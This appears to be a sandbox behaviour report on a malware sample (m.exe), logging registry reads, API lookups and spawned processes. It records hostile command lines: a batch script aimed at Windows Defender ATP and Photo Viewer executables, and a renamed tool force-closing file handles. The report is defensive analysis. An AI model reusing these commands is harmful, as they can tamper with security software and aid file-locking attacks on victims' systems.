Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = mxkeFu6a.exe, type = file_attributes	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, os_pid = 0x1390, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data

Process #193: cmd.exe

49

0

»

Information	Value
ID	#193
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:04:14, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:11

OS Process Information

»

Information	Value
PID	0xf30
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x D0C 0x FB4

Threads

Thread 0xd0c

49

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 197, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn

Process #195: cmd.exe

49

0

»

Information	Value
ID	#195
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Defender Advanced Threat Protection\SenseCncProxy.exe""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:04:19, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:06

OS Process Information

»

Information	Value
PID	0x11f8
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1158 0x 12F8

Threads

Thread 0x1158

49

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 197, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn

Process #197: cmd.exe

46

0

»

Information	Value
ID	#197
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c mxkeFu6a.exe -accepteula "does.exe" -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:04:21, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:04

OS Process Information

»

Information	Value
PID	0x1348
Parent PID	0xe60 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1380 0x 1248

Threads

Thread 0x1380

46

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 96, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = mxkeFu6a.exe, type = file_attributes	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn

Process #198: mxkefu6a.exe

175

0

»

Information	Value
ID	#198
File Name	c:\users\fd1hvy\desktop\mxkefu6a.exe
Command Line	mxkeFu6a.exe -accepteula -c -y -p handles -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:04:22, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:00:03

OS Process Information

»

Information	Value
PID	0x1394
Parent PID	0x1088 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x F94 0x 13A8

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	Actions
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004080C0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040AE73	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040579A	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040B435	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00409AC9	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00406078	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040DEC6	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00410AB1	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00412434	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00416A09, 0x00415F2F, ...	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004048D4	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040C3C0, 0x004112CE	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004020F0	... Region Actions Download Dump

Threads

Thread 0xf94

175

0

»

Category	Operation	Information	Count	Logfile
Module	Load	module_name = KERNEL32.DLL, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEvent, address_out = 0x75efec50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForSingleObject, address_out = 0x75efeca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeviceIoControl, address_out = 0x75ea1170	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DuplicateHandle, address_out = 0x75efeac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FormatMessageW, address_out = 0x75ea4be0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventW, address_out = 0x75efeb30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateProcessW, address_out = 0x75ea4610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExpandEnvironmentStringsW, address_out = 0x75ea4a40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDriveTypeW, address_out = 0x75efeed0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemDirectoryW, address_out = 0x75ea5490	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteFileW, address_out = 0x75efed40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadErrorMode, address_out = 0x75ea6520	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapSize, address_out = 0x77c0a790	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringW, address_out = 0x75ea5a60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStringTypeW, address_out = 0x75ea53b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateThread, address_out = 0x75ea6800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OpenProcess, address_out = 0x75ea5cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetVersion, address_out = 0x75ea56c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateFileW, address_out = 0x75efed10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FindResourceW, address_out = 0x75ea4aa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SizeofResource, address_out = 0x75ea6740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseHandle, address_out = 0x75efeab0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetLastError, address_out = 0x75ea4f00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadResource, address_out = 0x75ea5b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLastError, address_out = 0x75ea5010	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcess, address_out = 0x75efea10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LockResource, address_out = 0x75ea5bc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCommandLineW, address_out = 0x75ea4cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleW, address_out = 0x75ea50d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryW, address_out = 0x75ea5ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStdHandle, address_out = 0x75ea5330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalFree, address_out = 0x75ea5b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalAlloc, address_out = 0x75ea5b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcAddress, address_out = 0x75ea51b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleFileNameW, address_out = 0x75ea5090	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetConsoleScreenBufferInfo, address_out = 0x75eff5a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetFileType, address_out = 0x75efef60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OutputDebugStringW, address_out = 0x75ea5d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ReadConsoleW, address_out = 0x75eff4c0	1	Fn
